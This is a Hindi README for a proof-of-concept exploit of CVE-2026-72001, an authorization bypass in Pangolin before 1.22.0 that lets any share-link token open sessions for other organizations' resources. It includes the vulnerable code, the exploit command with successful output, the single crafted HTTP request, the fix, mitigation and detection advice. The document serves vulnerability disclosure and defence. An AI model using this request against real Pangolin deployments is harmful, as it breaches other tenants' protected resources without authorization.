
CVE-2026-72001 के लिए PoC — Pangolin < 1.22.0 में share-link access-token endpoint के माध्यम से cross-organization resource authentication bypass (CWE-639, CVSS 8.1)।
CVE-2026-72001 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो
Pangolin (< 1.22.0) में ब्रोकन-ऑब्जेक्ट-लेवल-ऑथराइज़ेशन फ्लॉ है, जो एक रिसोर्स शेयर लिंक रखने वाले को इंस्टेंस पर किसी भी अन्य रिसोर्स के लिए वैध रिसोर्स सेशन बनाने देता है, जिसमें किसी भिन्न ऑर्गनाइज़ेशन के स्वामित्व वाले रिसोर्स भी शामिल हैं, और हर कॉन्फ़िगर किए गए ऑथेंटिकेशन तरीके (SSO, रिसोर्स पासवर्ड, PIN, ईमेल अलाउलिस्ट, हेडर ऑथ) को बायपास कर देता है।
| CVE | CVE-2026-72001 |
| प्रोडक्ट | fosrl/pangolin |
| प्रभावित | < 1.22.0 |
| फिक्स्ड | 1.22.0 |
| क्लास | Authorization Bypass Through User-Controlled Key (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| ऑथ | हमलावर को किसी भी रिसोर्स के लिए केवल एक वैध शेयर-लिंक टोकन चाहिए |
| निर्णय | CONFIRMED VULNERABLE (एंड-टू-एंड, badger एन्फोर्समेंट valid:true) |
शेयर-लिंक ऑथेंटिकेशन एंडपॉइंट POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) में दो ब्रांच हैं। जब रिक्वेस्ट में
accessTokenId होता है, तो यह टोकन को वैलिडेट करता है लेकिन उस चेक को URL में मौजूद
रिसोर्स से बाइंड करना भूल जाता है:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken रिसोर्स बाइंडिंग को केवल तभी लागू करता है जब उसे resourceId मिलता है:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
चूँकि हैंडलर कभी resourceId फ़ॉरवर्ड नहीं करता, गार्ड स्किप हो जाता है: टोकन को उसके
स्वयं के रिसोर्स के विरुद्ध वैलिडेट किया जाता है, जबकि सेशन URL में नामित रिसोर्स के लिए
बनाया जाता है। फिर विक्टिम रिसोर्स के लिए एक सेशन (badger रिक्वेस्ट टोकन) बनाया जाता है:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
यह रूट अनऑथेंटिकेटेड राउटर (unauthenticated.use("/auth", authRouter)) पर स्थित है
और इसमें कोई रेट लिमिटिंग नहीं है (सहोदर पासवर्ड/पिनकोड/व्हाइटलिस्ट ऑथ रूट्स के विपरीत)।
CSRF मिडलवेयर केवल एक स्टैटिक कॉन्स्टेंट हेडर (X-CSRF-Token: x-csrf-protection) की जाँच करता है।
फिक्स (1.22.0): हैंडलर resourceId को verifyResourceAccessToken में फ़ॉरवर्ड करता है, जिससे
मिसमैच गार्ड ट्रिगर हो जाता है और क्रॉस-रिसोर्स रिक्वेस्ट 401 "Resource ID does not match" लौटाती हैं।
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
एकमात्र कमज़ोर रिक्वेस्ट यह है:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access इसके अतिरिक्त लौटाए गए रिक्वेस्ट टोकन को badger एन्फोर्समेंट एंडपॉइंट
(/badger/exchange-session → /badger/verify-session) पर एक्सचेंज करता है — वही पथ जिसे
Traefik कंसल्ट करता है — ताकि वास्तविक एक्सेस साबित हो, केवल लौटी हुई स्ट्रिंग नहीं। लाइव
डिप्लॉयमेंट में हमलावर बस रिसोर्स को रिक्वेस्ट टोकन प्रस्तुत करता है और Traefik/badger उसे
स्वतः एक्सचेंज कर देता है।
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
पूर्ण वॉक-थ्रू और कमज़ोर-बनाम-पैच्ड सीमा के लिए lab/setup.sh, ANALYSIS.md और
evidence/ देखें।
किसी भी मल्टी-टेनेंट / मल्टी-ऑर्ग Pangolin इंस्टेंस पर (कई ऑर्गों के साथ सेल्फ-होस्टेड, MSP, या होस्टेड डिप्लॉयमेंट), एक अभिनेता जो एक भी शेयर लिंक प्राप्त कर सकता है — जो उसे वैध रूप से दिया गया हो, जो लीक हो गया हो, या जो वह अपने नियंत्रण वाले किसी रिसोर्स पर स्वयं जारी करता है — किसी भी अन्य टेनेंट के संरक्षित रिसोर्स को पढ़ सकता है और उस पर कार्य कर सकता है। इंस्टेंस पर प्रत्येक संरक्षित रिसोर्स की गोपनीयता और अखंडता से समझौता हो जाता है (CVSS C:H/I:H)।
Pangolin ≥ 1.22.0 पर अपग्रेड करें। फिक्स एक्सेस-टोकन चेक को URL रिसोर्स आईडी से बाइंड करता है। कोई भी कॉन्फ़िगरेशन वर्कअराउंड < 1.22.0 को पूरी तरह कम नहीं करता; रिसोर्स शेयर लिंक के जारी करने को प्रतिबंधित करें और अपग्रेड के बाद मौजूदा एक्सेस टोकन रोटेट करें।
POST /api/v1/auth/resource/<id>/access-token को देखें जहाँ प्रस्तुत accessTokenId किसी ऐसे
रिसोर्स का हो जिसकी आईडी ≠ <id> हो (क्रॉस-रिसोर्स टोकन उपयोग), और उच्च मात्रा में आने वाली
एक्सेस-टोकन ऑथ रिक्वेस्ट को देखें (यह रूट अनथ्रॉटल्ड है)। logAccessAudit प्रविष्टियाँ एक
accessToken एक्शन दिखाएँगी जिसका टोकन ऑर्ग रिसोर्स ऑर्ग से भिन्न है।
BiiTts (Caio Fabrício) द्वारा खोजा/विश्लेषण किया गया और PoC बनाया गया। कमज़ोरी की रिपोर्ट VulnCheck द्वारा की गई; एडवाइज़री: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint।